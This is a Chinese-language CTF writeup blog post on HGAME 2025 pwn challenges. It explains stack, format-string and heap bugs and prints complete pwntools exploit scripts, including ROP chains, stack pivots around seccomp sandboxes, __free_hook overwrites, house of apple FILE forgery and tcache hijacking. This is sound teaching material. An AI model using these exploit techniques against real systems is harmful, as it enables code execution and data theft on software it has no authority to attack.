sysNow's blog

2025 HGAME writeup

2025-02-23
CTF
writeup
最后更新:2025-04-19
23分钟
4413字

HGAME 2025

第一周

counting petals

default

default

我们可以看到v7的有效位置是索引为0到16的区域, 但是当v8=16时, while循环最后一次会写在v7[17]的位置, 这个位置实际上存储的是v8和v9两个变量, 通过对v8和v9值的覆盖, 我们可以利用下面的输出内容泄露栈中的libc地址, 在第二次程序进入while循环覆盖v8和v9时, 在返回地址处构建ROP链, ret2libc

default

我们可以看到, 通过合理调整v8和v9我们可以泄露栈上数据, 140173885754768转为16进制为0x7F7CC6AACD90, 是__libc_start_call_main+128的地址, 我们可以计算libc基址, 进而再计算出system函数和/bin/sh字符串的地址

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
46 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
19
ru(b"this time")
20
sl(b"16")
21
for i in range(15):
22
ru(b"the flower number")
23
sl(str(i+1).encode())
24
ru(b"the flower number")
25
# pause()
26
sl(str(0x1300000013).encode())
27
ru(b"the latter")
28
sl(b"2")
29
ru(b"15 + ")
30
for i in range(3):
31
ru(b" + ")
32
libc_base = int(ru(b" ")[:-1])-0x29d90
33
system = libc_base + libc.sym["system"]
34
bin_sh = libc_base + next(libc.search("/bin/sh"))
35
leak("libc",system)
36
leak("bin_sh",bin_sh)
37
38
rdi = libc_base + 0x02a3e5
39
ret = libc_base + 0x029139
40
41
ru(b"this time")
42
sl(b"16")
43
for i in range(15):
44
ru(b"the flower number")
45
sl(str(i+1).encode())
46
ru(b"the flower number")
47
pause()
48
sl(str(0x1200000016).encode())
49
ru(b"the flower number 19")
50
sl(str(rdi).encode())
51
ru(b"the flower number 20")
52
sl(str(bin_sh).encode())
53
ru(b"the flower number 21")
54
sl(str(ret).encode())
55
ru(b"the flower number 22")
56
sl(str(system).encode())
57
58
ru(b"the latter")
59
sl(b"1")
60
61
ia()

ezstack

default

这道题的环境是用docker给的, 我们接下来看一下Dockerfile和start.sh, 接下来我先讲调试流程, 再讲攻击步骤

Dockerfile

1
FROM ubuntu@sha256:8e5c4f0285ecbb4ead070431d29b576a530d3166df73ec44affc1cd27555141b
2
3
COPY ./start.sh /start.sh
4
5
COPY vuln /vuln
6
7
RUN chmod +x /start.sh
8
9
ENTRYPOINT ["/start.sh"]

start.sh

1
#! /usr/bin/env sh
2
3
echo $FLAG > /flag
4
unset FLAG
5
6
/vuln
7
8
sleep infinity

我们可以看到, Dockerfile构建镜像, 再由镜像构建出容器, 容器中会包含本目录中的start.sh和vuln文件, 并且当我们访问容器时, 自动执行start.sh, 再由start.sh执行vuln来交互, 在创建docker容器时, 我们需要传入环境变量FLAG

我们再来看一下vuln文件

1
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
2
{
3
socklen_t addr_len; // [rsp+Ch] [rbp-44h] BYREF
4
sockaddr addr; // [rsp+10h] [rbp-40h] BYREF
5
int optval; // [rsp+2Ch] [rbp-24h] BYREF
6
struct sockaddr s; // [rsp+30h] [rbp-20h] BYREF
7
__pid_t v7; // [rsp+44h] [rbp-Ch]
8
int v8; // [rsp+48h] [rbp-8h]
9
int fd; // [rsp+4Ch] [rbp-4h]
10
11
signal(17, (__sighandler_t)1);
12
fd = socket(2, 1, 6);
13
if ( fd < 0 )
14
{
15
perror("socket error");
45 collapsed lines
16
exit(1);
17
}
18
memset(&s, 0, sizeof(s));
19
s.sa_family = 2;
20
*(_WORD *)s.sa_data = htons(0x270Fu);
21
*(_DWORD *)&s.sa_data[2] = htonl(0);
22
optval = 1;
23
if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )
24
{
25
perror("setsockopt error");
26
exit(1);
27
}
28
if ( bind(fd, &s, 0x10u) < 0 )
29
{
30
perror("bind error");
31
exit(1);
32
}
33
if ( listen(fd, 10) < 0 )
34
{
35
perror("listen error");
36
exit(1);
37
}
38
addr_len = 16;
39
while ( 1 )
40
{
41
v8 = accept(fd, &addr, &addr_len);
42
if ( v8 < 0 )
43
break;
44
v7 = fork();
45
if ( v7 == -1 )
46
{
47
perror("fork error");
48
exit(1);
49
}
50
if ( !v7 )
51
{
52
handler((unsigned int)v8);
53
close(v8);
54
exit(0);
55
}
56
close(v8);
57
}
58
perror("accept error");
59
exit(1);
60
}

default

我们可以看到, 程序调用了0.0.0.0:9999这个端口, 实际上是通过这个接口与用户交互, 若用户连接到这个接口则会拷贝子进程, 在子进程中进入handler函数

因此在运行dockers容器时, 我们需要暴露容器的9999端口, 这样我们才能在容器外访问容器中的服务

具体流程如下:

  1. docker build -t hgame_ezstack .构建镜像

default

  1. docker run -d -p 9999:9999 -e FLAG="flag{Im_in_docker}" --name ezstack hgame_ezstack在后台运行容器, 将docker的9999端口映射到本机的9999端口, 传入FLAG作为容器中的环境变量

default

  1. nc 127.0.0.1 9999尝试连接服务, 若服务搭建成功则会出现回显

default


搭建环境成功后, 我们可以进入调试环节

这里有两种做法, 我们先讲第一种

如果所需环境无特殊修改, 可以将docker容器中的libc和ld等需要的文件通过docker cp从docker中复制到本机上, 通过patchelf更换运行库后可以在本地运行, 这样就无需在docker中调试, 如图, 我将vuln文件重命名为pwn

default

我们先gdb ./pwn来调试, 在gdb中设置set follow-fork-mode child, 这样遇到fork()就会默认进入子进程

不断ni, 当程序卡在accept函数时, 新开一个终端, 在这个终端中nc 127.0.0.1 9999

default

当遇到read或write时, 可以停下查看fd, 未来都依靠这个fd与程序交互, 如果fd是4, 那么read写作read(4,buf,bytes), 这点很重要!!!

default

但是, 我们可以看到, gdb调出我们的fd是5…其实吧这是个雷点, 不知道我们本地运行的进程过多还是其他原因, 本地运行可执行文件就会出现有时fd是5, 有时fd又变成4…之前不知道, fd设置为5开始写程序, 然后本地打通了, 远端一直EOF, 一直到第二天发现本地攻击都不行了, gdb一调发现fd变成了4…

default

这算是一个本地调试的一个大雷点, 但是这并不意味着程序不能在本地调试了

接下来我们开三个终端, 第一个终端./pwn运行pwn程序监听端口, 第二个终端./exp.py re ./pwn 127.0.0.1:9999用程序与端口交互, 第三个终端先ps -aux | grep pwn找到交互的子进程的pid, 然后gdb -p <pid>直接将gdb连接到进程上去调试, 这样效果与平时调试差不多


第二种, 直接在docker中调试

由于docker中环境比较精简, 很多环境可能没有, 因此我们需要自己安装环境

由于很多环境没有, 也没有很长的时间让我们来配置环境, 因此我们不选用gdb+pwndbg插件的形式, 因为需要python安装各种环境浪费时间. 在新版本的pwndbg中, 可以用.deb包安装pwndbg, 这种形式的pwndbg作为一个独立软件存在

  1. wget https://github.com/pwndbg/pwndbg/releases/download/2025.01.20/pwndbg_2025.01.20_amd64.deb把deb包拉到本地(主要是可以放在本地备份多次使用)
  2. docker cp指令复制到容器中
  3. 容器中apt install ./pwndbg_2025.01.20_amd64.deb安装pwndbg

之后在docker中使用pwndbg, 运行ELF文件时pwndbg ./vuln, 调试进程先在docker中ps -auxpwndbg -p <pid>

剩余流程与第一种方法一样, 无非是调试时需要进入docker中调试, 这样调试有一个好处, 就是环境比较纯粹, 仅通过端口与主机交互, fd也不会轻易变动


可以调试后接下来进入正式攻击阶段, 我们可以看到handler函数存在沙箱, 禁用了execve和execveat, 也就是说需要我们使用ORW

default

接下来进入vuln函数, 发现存在栈溢出, 但是只能覆盖到返回地址

default

因此, 我们需要使用栈迁移, 可以返回到0x40140F的地址, 这样就可以利用rbp布置新栈的位置和内容, 在新栈中再次栈迁移, 运行栈前端布置的ROP链, 在本次题目中需要多次运用栈迁移来达到目的

default

我们之前说过, fd为4, 因此我们在设置新栈位置时也应确保每次0x40140F lea指令取出的值为4, 我们可以在可写段中找到gift, 我们可以以gift为起点栈迁移, 在每次栈迁移的空白数据处补充数据4, 以备之后的栈迁移

default

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
34 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
19
rdi = 0x401713
20
rsi_r15 = 0x401711
21
22
leave_ret = 0x4013cb
23
read_leave_ret = 0x40140F
24
ru(b"Good luck.")
25
pause()
26
s(b"A"*(0x50)+p64(0x404100+0x54)+p64(read_leave_ret))
27
pause()
28
payload = p64(rdi)+p64(4)+p64(rsi_r15)+p64(elf.got["write"])+p64(0)+p64(elf.sym["print"])+p64(elf.sym["vuln"])+p64(4)+p64(4)
29
s(b"/flag\x00\x00\x00"+(payload).ljust(0x48,b"C")+p64(0x404104)+p64(leave_ret))
30
libc_base = x64()-0x10e280
31
open_addr = libc_base + libc.sym["open"]
32
sendfile = libc_base + libc.sym["sendfile"]
33
leak("libc_base",libc_base)
34
leak("open",open_addr)
35
36
rdx_r12 = libc_base + 0x119431
37
38
# open
39
pause()
40
s(b"/flag\x00"+b"A"*(0x50-6)+p64(0x40414c+0x54)+p64(read_leave_ret))
41
payload = p64(rdi)+p64(0x404198)+p64(rsi_r15)+p64(0)+p64(0)+p64(open_addr)+p64(read_leave_ret)+p64(4)+b"/flag\x00\x00\x00"
42
s(p64(0x404190+0x54)+payload.ljust(0x48,b"C")+p64(0x404150)+p64(leave_ret))
43
# sendfile
44
pause()
45
payload = p64(rsi_r15)+p64(5)+p64(0)+p64(rdx_r12)+p64(0)+p64(0)+p64(sendfile)
46
s(b"A"*8+payload.ljust(0x48,b"C")+p64(0x404194)+p64(leave_ret))
47
48
49
ia()

因为空间局促, 我们采用open+sendfile来绕过沙箱, 同时由于每次输入会覆盖部分之前的输入, 因此我预写了数个/flag字符串到内存中备用


format

default

default

这道题考察的是格式化字符串和整数溢出, 在第一次格式化字符串中, 我们只能读入三个字符的格式化字符串, 这对我们做出了限制, 因此我们先输入%p, 先泄露一个栈地址.

当进入vuln时, 这里输入-1, 转换为unsigned int后会自动溢出, 这样就绕过了栈溢出时读入数据大小的限制

default

在栈溢出时, 我们可以尝试返回到0x4012CF的位置, 这样合理设置rbp的覆盖值后, 我们可以将输入的作为格式化字符串再次触发格式化字符串漏洞, 泄露libc地址, rbp的覆盖值可以通过第一次泄露的栈地址计算得出

default

泄露完libc地址后可以计算system和/bin/sh地址, 再次进入vuln函数时进行栈溢出ret2libc

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
39 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
19
ru(b"getshell")
20
sl(str(1).encode())
21
for i in range(1):
22
ru(b"something:")
23
sl(b"%p")
24
ru(b"0x")
25
# print("stack = ",stack)
26
stack = int(r(12),16)
27
leak("stack",stack)
28
ru(b"n = ")
29
# pause()
30
sl(b"-1")
31
# ru(b"something:")
32
33
ret = 0x40101a
34
35
payload = b"A%3$p"+p64(stack+0x210c+0x10)+p64(0x4012CF)
36
sl(payload)
37
ru(b"0x")
38
libc_base = int(r(12),16)-0x1147e2
39
system = libc_base + libc.sym["system"]
40
bin_sh = libc_base + next(libc.search("/bin/sh"))
41
rdi = libc_base + 0x02a3e5
42
leak("libc_base",libc_base)
43
leak("system",system)
44
leak("bin_sh",bin_sh)
45
46
# ru(b"n = ")
47
# sl(b"-1")
48
ru(b"type something:")
49
# payload = b"A"*(4)+p64(rdi)+p64(bin_sh)+p64(ret)+p64(system)
50
payload = b"A"*4+b"BBBBBBBB"+p64(rdi)+p64(bin_sh)+p64(ret)+p64(system)
51
pause()
52
sl(payload)
53
54
ia()

第二周

这周题目没怎么仔细琢磨, 大致知道解法, 但是没有细看, 具体解法参考hgame2025 week2 pwn全题解

Signin2Heap

default

保护全开, 进IDA看一下

default

可以发现*((_QWORD *)&books + v1) = 0LL所以不存在UAF

default

*(_BYTE *)(*((_QWORD *)&books + v2) + size_4) = 0这个语句可以知道, 程序会在输入的最后加上一个\x00如果实际上就是off-by-null, 因为相邻的前一个堆块的实际使用区域包含后一个堆块的prev_size区域, 因此当我们使用到该区域的最后一字节时, 自动添加的\x00会覆盖到size区域, 若堆块大小为0x101, 则可将0x101修改为0x100

思路:

  1. 申请三个堆块, malloc参数分别为0x80, 0x18, 0xf0, 这样申请到的堆块大小为0x90, 0x20, 0x100, 随后填满0x90和0x100的tcache bin, 随后释放第一个和第二个堆块, 再申请第二个堆块, 利用off-by-null修改prev_sizesize, 再释放第三个堆块, 这样前三个堆块就合并成一个堆块并进入unsorted bin中, 但此时堆块二还处于申请的状态, 在变量books中有记录
1
add(0,0x80,b"AA")
2
add(1,0x18,b"BB")
3
add(2,0xf0,b"CC")
4
for i in range(7):
5
add(i+3,0x80,b"DD")
6
for i in range(7):
7
dele(i+3)
8
for i in range(7):
9
add(i+3,0xf0,b"EE")
10
for i in range(7):
11
dele(i+3)
12
13
dele(0)
14
dele(1)
15
add(1,0x18,p64(0)*2+p64(0xb0))
1 collapsed line
16
dele(2)

default

  1. 连续执行八次malloc(0x80), 前七个堆块来自tcache bin, 最后一个堆块来自unsorted bin分割而来, 此时我们可以看到新生成的unsorted chunk的起始位置就是第一部中malloc(0x18)所返回的堆块, 因此此堆块的userdata区域会写入一段libc地址, 因此打印此堆块即可泄露libc
1
for i in range(8):
2
add(i+3,0x80,b"AAAA")
3
show(1)
4
libc_base = x64()-0x3ebca0
5
free_hook = libc_base + libc.sym["__free_hook"]
6
system = libc_base + libc.sym["system"]
7
leak("libc_base",libc_base)
8
leak("free_hook",free_hook)

default

default

  1. 接下来就想办法利用fastbindouble free修改__free_hooksystem地址完成攻击, 因为此时books[1]的位置上的堆块还是在unsorted bin中, 因此我们只需要申请比这个chunk小的堆块, 即可实现从unsorted chunk中分割, 以实现books[0]的地址和books[1]的地址相等, 我们选用malloc(0x30)
1
add(0,0x30,b"AAAA")
2
for i in range(8):
3
dele(i+3)
4
for i in range(9):
5
add(i+3,0x30,b"BBBB")
6
for i in range(8):
7
dele(i+3)
8
dele(0)
9
dele(11)
10
dele(1)
11
for i in range(7):
12
add(i+3,0x30,b"BB")
13
add(0,0x30,p64(free_hook))
14
add(1,0x30,b"CC")
15
add(2,0x30,b"/bin/sh\x00")
2 collapsed lines
16
add(15,0x30,p64(system))
17
dele(2)

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
75 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
19
def cmd(i, prompt=b"Your choice:"):
20
sla(prompt, i)
21
def add(idx,size,con):
22
cmd(p32(1))
23
ru(b"Index: ")
24
sl(str(idx).encode())
25
ru(b"Size: ")
26
sl(str(size).encode())
27
ru(b"Content: ")
28
s(con)
29
def edit(addr):
30
cmd(b"3")
31
rl()
32
rl()
33
s(p64(addr))
34
# ......
35
def show(idx):
36
cmd(p32(3))
37
ru(b"Index:")
38
sl(str(idx).encode())
39
# ......
40
def dele(idx):
41
cmd(p32(2))
42
ru(b"Index:")
43
sl(str(idx).encode())
44
# ......
45
46
add(0,0x80,b"AA")
47
add(1,0x18,b"BB")
48
add(2,0xf0,b"CC")
49
for i in range(7):
50
add(i+3,0x80,b"DD")
51
for i in range(7):
52
dele(i+3)
53
for i in range(7):
54
add(i+3,0xf0,b"EE")
55
for i in range(7):
56
dele(i+3)
57
58
dele(0)
59
dele(1)
60
add(1,0x18,p64(0)*2+p64(0xb0))
61
dele(2)
62
pause()
63
for i in range(8):
64
add(i+3,0x80,b"AAAA")
65
show(1)
66
libc_base = x64()-0x3ebca0
67
free_hook = libc_base + libc.sym["__free_hook"]
68
system = libc_base + libc.sym["system"]
69
leak("libc_base",libc_base)
70
leak("free_hook",free_hook)
71
pause()
72
add(0,0x30,b"AAAA")
73
for i in range(8):
74
dele(i+3)
75
for i in range(9):
76
add(i+3,0x30,b"BBBB")
77
for i in range(8):
78
dele(i+3)
79
dele(0)
80
dele(11)
81
dele(1)
82
for i in range(7):
83
add(i+3,0x30,b"BB")
84
add(0,0x30,p64(free_hook))
85
add(1,0x30,b"CC")
86
add(2,0x30,b"/bin/sh\x00")
87
add(15,0x30,p64(system))
88
dele(2)
89
90
ia()

Where is the vulnerability

default

将所给的文件全部patch上, 这道题实际上需要分析的文件是libchgame.so, IDA打开后可以看到, malloc的范围是0x500到0x900, 且存在UAF

default

default

同时libc版本为2.39-0ubuntu8.3, 高版本glibc无法打__malloc_hook __free_hook global_max_fast, 同时无法使用unsorted bin attack

可见Glibc高版本堆利用方法总结

因此本道题使用large bin attack修改_IO_list_all, 用堆块伪造_IO_FILE_plus_IO_wide_data, 利用house of apple来实现功能

default

house of apple触发流程:

  1. _IO_list_all指向堆块A (让A链入_IO_FILE链表中)

  2. _flags 设置为~(2 | 0x8 | 0x800) ,如果是需要获取 shell 的话,那么可以将参数写为 sh; 这样 _flags 既能绕过检查,又能被 system 函数当做参数成功执行。需要注意的是 sh; 前面是有两个空格的(这个值是 0x3b68732020

  3. 用堆块A伪造_IO_FILE_plus

    A->_wide_data = 堆块B A->vtable = _IO_wfile_jumps A->_mode = 0

    A->_IO_write_ptr = 1 A->_IO_write_base = 0 A->_lock = 可写地址

  4. 堆块B伪造_IO_wide_data

    B->_IO_write_base = 0 B->_IO_buf_base = 0 B->_wide_vtable = backdoor-0x68

  5. 触发exit等函数

当调试中能进入backdoor函数时, 可以考虑后续攻击步骤, 因为程序存在沙箱, 因此需要ORW, 观察寄存器的值发现rax中的值可以利用, 可以找到如下gadget利用

1
mov rdx, qword ptr [rax + 0x38]
2
mov rdi, rax
3
call qword ptr [rdx + 0x20]

通过gadget, 我们可以控制rdx, 同时通过偏移调用一个函数, 我选择调用setcontext+61, 设置rsp rbp, 实现栈迁移到一个堆块, 在堆块上布置ROP链以实现open+read+write

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
85 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
19
def cmd(i, prompt=b">"):
20
sla(prompt, i)
21
def add(idx,size):
22
cmd(b"1")
23
ru(b"Index:")
24
sl(str(idx).encode())
25
ru(b"Size:")
26
sl(str(size).encode())
27
# ......
28
def edit(idx,con):
29
cmd(b"3")
30
ru(b"Index:")
31
sl(str(idx).encode())
32
ru(b"Content:")
33
sl(con)
34
# ......
35
def show(idx):
36
cmd(b"4")
37
ru(b"Index:")
38
sl(str(idx).encode())
39
# ......
40
def dele(idx):
41
cmd(b"2")
42
ru(b"Index:")
43
sl(str(idx).encode())
44
# ......
45
46
add(0,0x528)
47
add(1,0x500)
48
add(2,0x518)
49
add(3,0x500)
50
dele(0)
51
show(0)
52
libc_base = x64()-0x203b20
53
libc.address = libc_base
54
leak("libc_base",libc_base)
55
56
_IO_list_all = libc.sym["_IO_list_all"]
57
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
58
setcontext = libc.sym["setcontext"]
59
mprotect = libc.sym["mprotect"]
60
open_addr = libc.sym["open"]
61
read_addr = libc.sym["read"]
62
write_addr = libc.sym["write"]
63
system = libc.sym["system"]
64
leak("_IO_wfile_jumps",_IO_wfile_jumps)
65
gad1 = libc_base+0x176f0e
66
'''
67
gad1:
68
mov rdx, qword ptr [rax + 0x38]
69
mov rdi, rax
70
call qword ptr [rdx + 0x20]
71
'''
72
rdi = libc_base + 0x10f75b
73
rsi = libc_base + 0x110a4d
74
rdx_leave_ret = libc_base + 0x09819d
75
ret = libc_base + 0x10f75b + 1
76
leak("rdi",rdi)
77
leak("rsi",rsi)
78
79
add(4,0x538)
80
dele(2)
81
edit(0,b"A"*24+p64(_IO_list_all-0x20))
82
add(5,0x538)
83
84
edit(2,b"A"*0x10)
85
show(2)
86
ru(b"A"*0x10)
87
heap_base = u64(r(6).ljust(8,b"\x00"))-0x20a
88
leak("heap_base",heap_base)
89
90
edit(2,flat({0x90:heap_base+0x7d0, 0xc8:_IO_wfile_jumps, 0xb0:0, 0x18:1, 0x10:0, 0x78:heap_base+0x2200, 0x4f8:heap_base+0x1200},filler=b"\x00"))
91
edit(1,flat({0x18:0, 0x30:0, 0xe0:heap_base+0x1200+8-0x68},filler=b"\x00"))
92
93
leak("gad1",gad1)
94
edit(3,flat({0:"/flag\x00", 0x8:gad1, 0x20:setcontext+61, 0xa0:heap_base+0x1710, 0xa8:ret, 0x78:heap_base+0x1760},filler=b"\x00"))
95
edit(4,flat(rdi, heap_base+0x1200, rsi, 0, open_addr, rdi, 3, rsi, heap_base+0x10, rdx_leave_ret, 100, read_addr, rdi, 1, write_addr))
96
97
pause()
98
cmd(b"5")
99
100
ia()

或者将shellcode写在堆块中, 再调用mprotect函数将堆块所在位置设为可读可写可执行, 随后返回到shellcode所在位置

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
85 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
19
def cmd(i, prompt=b">"):
20
sla(prompt, i)
21
def add(idx,size):
22
cmd(b"1")
23
ru(b"Index:")
24
sl(str(idx).encode())
25
ru(b"Size:")
26
sl(str(size).encode())
27
# ......
28
def edit(idx,con):
29
cmd(b"3")
30
ru(b"Index:")
31
sl(str(idx).encode())
32
ru(b"Content:")
33
sl(con)
34
# ......
35
def show(idx):
36
cmd(b"4")
37
ru(b"Index:")
38
sl(str(idx).encode())
39
# ......
40
def dele(idx):
41
cmd(b"2")
42
ru(b"Index:")
43
sl(str(idx).encode())
44
# ......
45
46
add(0,0x528)
47
add(1,0x500)
48
add(2,0x518)
49
add(3,0x500)
50
dele(0)
51
show(0)
52
libc_base = x64()-0x203b20
53
libc.address = libc_base
54
leak("libc_base",libc_base)
55
56
_IO_list_all = libc.sym["_IO_list_all"]
57
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
58
setcontext = libc.sym["setcontext"]
59
mprotect = libc.sym["mprotect"]
60
open_addr = libc.sym["open"]
61
read_addr = libc.sym["read"]
62
write_addr = libc.sym["write"]
63
system = libc.sym["system"]
64
leak("_IO_wfile_jumps",_IO_wfile_jumps)
65
gad1 = libc_base+0x176f0e
66
'''
67
gad1:
68
mov rdx, qword ptr [rax + 0x38]
69
mov rdi, rax
70
call qword ptr [rdx + 0x20]
71
'''
72
rdi = libc_base + 0x10f75b
73
rsi = libc_base + 0x110a4d
74
rdx_leave_ret = libc_base + 0x09819d
75
ret = libc_base + 0x10f75b + 1
76
leak("rdi",rdi)
77
leak("rsi",rsi)
78
79
add(4,0x538)
80
dele(2)
81
edit(0,b"A"*24+p64(_IO_list_all-0x20))
82
add(5,0x538)
83
84
edit(2,b"A"*0x10)
85
show(2)
86
ru(b"A"*0x10)
87
heap_base = u64(r(6).ljust(8,b"\x00"))-0x20a
88
leak("heap_base",heap_base)
89
90
edit(2,flat({0x90:heap_base+0x7d0, 0xc8:_IO_wfile_jumps, 0xb0:0, 0x18:1, 0x10:0, 0x78:heap_base+0x2200, 0x4f8:heap_base+0x1200},filler=b"\x00"))
91
edit(1,flat({0x18:0, 0x30:0, 0xe0:heap_base+0x1200+8-0x68},filler=b"\x00"))
92
93
leak("gad1",gad1)
94
edit(3,flat({0x8:gad1, 0x20:setcontext+61, 0xa0:heap_base+0x1710, 0xa8:mprotect, 0x68:heap_base, 0x70:0x10000, 0x88:7},filler=b"\x00"))
95
edit(4,p64(heap_base+0x1718)+ShellcodeMall.amd64.cat_flag)
96
97
pause()
98
cmd(b"5")
99
100
ia()

Hit list

IDA打开, 发现又是一道菜单题

default

default

malloc失败时会进入gift函数

default

因为只能利用一次gift, 因此我们考虑挟持tcache_perthread_struct来控制tcache

因为添加堆块时, 第一个堆块大小为0x20, 因此我们可以通过如下程序获取heap基地址

1
add(111,b"AAAA",0x30,b"BBBB")
2
add(111,b"AAAA",0x30,b"BBBB")
3
dele(0)
4
dele(0)
5
add(111,b"C",0x20,b"D"*0x10)
6
show(0)
7
ru(b"D"*0x10)
8
heap_base = x64()-0x2d0
9
leak("heap_base",heap_base)

利用unsorted chunk的分割特性, 我们可以泄露出libc基地址

1
for i in range(9):
2
add(222,b"CCCC",0x200,b"DDDD")
3
for i in range(8,0,-1):
4
dele(i)
5
6
add(222,b"C"*8,0x40,b"D") # 从unsorted chunk中剪下来一块
7
show(2)
8
ru(b"C"*8)
9
libc_base = x64()-0x21ae44
10
environ = libc_base + libc.sym["environ"]
11
rdi = libc_base + 0x02a3e5
12
ret = rdi+1
13
system = libc_base + libc.sym["system"]
14
bin_sh = libc_base + next(libc.search("/bin/sh"))
15
leak("libc_base",libc_base)

挟持tcache_perthread_struct, 让申请的堆块位于environ附近可泄露出栈地址, 栈地址偏移找到函数的返回地址, 并在返回地址处布置ROP链

1
cmd(b"1")
2
rl()
3
sl(str(333).encode())
4
rl()
5
sl(b"AAAA")
6
rl()
7
rl()
8
sl(str(-9).encode()) # 进入gift函数
9
ru(b"Memory allocation failed.")
10
# pause()
11
sl(hex(heap_base+0x10).encode())
12
pause()
13
add(555,b"\x01"+b"\x00",0x280,b"\x00"*15*8+p64(environ-0x10)+b"\x00"*0x138) # chunk 4
14
# pause()
15
add(666,b"AAAA",0x10,b"YYYYYYYY")
9 collapsed lines
16
show(5)
17
ru(b"YYYYYYYY")
18
stack = x64()
19
leak("stack",stack)
20
# pause()
21
edit(4,1,b"\x00",0x280,p64(0)*2+p64(0x0001000000000000)+p64(0)*27+p64(stack-0x178))
22
pause()
23
payload = flat(rdi, bin_sh, ret, system)
24
add(666,b"ZZZZ",0x100,payload)

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
95 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(r(6).ljust(8,b'\x00'))
18
19
def cmd(i, prompt=b"5. Exit"):
20
sla(prompt, i)
21
def add(num, name, size, con):
22
cmd(b"1")
23
rl()
24
sl(str(num).encode())
25
rl()
26
sl(name)
27
rl()
28
rl()
29
sl(str(size).encode())
30
ru(b">")
31
s(con)
32
# ......
33
def edit(idx, num, name, size, con):
34
cmd(b"3")
35
rl()
36
sl(str(idx).encode())
37
rl()
38
sl(str(num).encode())
39
rl()
40
sl(name)
41
rl()
42
rl()
43
sl(str(size).encode())
44
ru(b">")
45
sl(con)
46
# ......
47
def show(idx):
48
cmd(b"4")
49
rl()
50
sl(str(idx).encode())
51
# ......
52
def dele(idx):
53
cmd(b"2")
54
ru(b"Index:")
55
sl(str(idx).encode())
56
# ......
57
58
add(111,b"AAAA",0x30,b"BBBB")
59
add(111,b"AAAA",0x30,b"BBBB")
60
dele(0)
61
dele(0)
62
add(111,b"C",0x20,b"D"*0x10)
63
show(0)
64
ru(b"D"*0x10)
65
heap_base = x64()-0x2d0
66
leak("heap_base",heap_base)
67
68
for i in range(9):
69
add(222,b"CCCC",0x200,b"DDDD")
70
for i in range(8,0,-1):
71
dele(i)
72
73
add(222,b"C"*8,0x40,b"D") # 从unsorted chunk中剪下来一块
74
show(2)
75
ru(b"C"*8)
76
libc_base = x64()-0x21ae44
77
environ = libc_base + libc.sym["environ"]
78
rdi = libc_base + 0x02a3e5
79
ret = rdi+1
80
system = libc_base + libc.sym["system"]
81
bin_sh = libc_base + next(libc.search("/bin/sh"))
82
leak("libc_base",libc_base)
83
84
cmd(b"1")
85
rl()
86
sl(str(333).encode())
87
rl()
88
sl(b"AAAA")
89
rl()
90
rl()
91
sl(str(-9).encode()) # 进入gift函数
92
ru(b"Memory allocation failed.")
93
# pause()
94
sl(hex(heap_base+0x10).encode())
95
pause()
96
add(555,b"\x01"+b"\x00",0x280,b"\x00"*15*8+p64(environ-0x10)+b"\x00"*0x138) # chunk 4
97
# pause()
98
add(666,b"AAAA",0x10,b"YYYYYYYY")
99
show(5)
100
ru(b"YYYYYYYY")
101
stack = x64()
102
leak("stack",stack)
103
# pause()
104
edit(4,1,b"\x00",0x280,p64(0)*2+p64(0x0001000000000000)+p64(0)*27+p64(stack-0x178))
105
pause()
106
